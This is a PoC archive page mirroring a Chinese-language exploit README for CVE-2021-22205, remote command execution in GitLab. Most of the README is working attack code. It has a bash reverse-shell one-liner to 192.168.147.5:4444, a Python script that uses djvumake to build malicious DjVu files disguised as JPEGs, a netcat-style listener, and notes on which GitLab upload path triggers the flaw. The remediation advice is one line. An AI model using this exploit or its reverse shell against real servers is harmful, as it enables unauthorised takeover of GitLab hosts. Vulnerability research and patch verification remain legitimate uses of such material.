Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-22205 PoC — GitLab 代码注入漏洞

Source
Associated Vulnerability
Title:GitLab 代码注入漏洞 (CVE-2021-22205)
Description:An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
Description
CVE-2021-22205-getshell
Readme
# CVE-2021-22205-getshell
CVE-2021-22205-getshell

## 测试版本


## 构造生成漏洞利用的命令
```bash
echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash /tmp/1.sh
```

## 利用djvumake生成漏洞利用的图片
```python
import os
payloads=[
    "echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
    "chmod +x /tmp/1.sh",
    "/bin/bash /tmp/1.sh",
]
index=1000
for payload in payloads:
    rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
    with open("rce-{0}.txt".format(index), "wb") as text_file:
        text_file.write(rce_payload)
    text_file.close()
    os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
    index=index+1
```

## 本地监听4444端口等待反弹shell
```bash
nv -lv 192.168.147.5 4444
```
## 分别上传图片到gitlab
- 这里是和网上exp有出入的地方,很多漏洞exp使用的gitlab应该是高版本应该是12或者13的版本的使用的上传点是新建Snippets处,path为:/uploads/user
- 我这边验证的版本是11.10.0的,利用公开的上传路径/uploads/user,提示404,利用Snippets的上传路径/uploads/personal_snippet,没法执行命令
- 最终从新建issue的页面上传图片,成功实现命令执行


## 成功反弹shell拿到目标机器权限
分别上传三个图片后,第三个图片回执行反弹shell命令,成功拿到目标机器权限

## 修复建议
尽快升级Gitlab至最新的安全版本。

File Snapshot

[4.0K] /data/pocs/2a1375f18b7c4e265f737725050feaba925745a7 └── [1.6K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →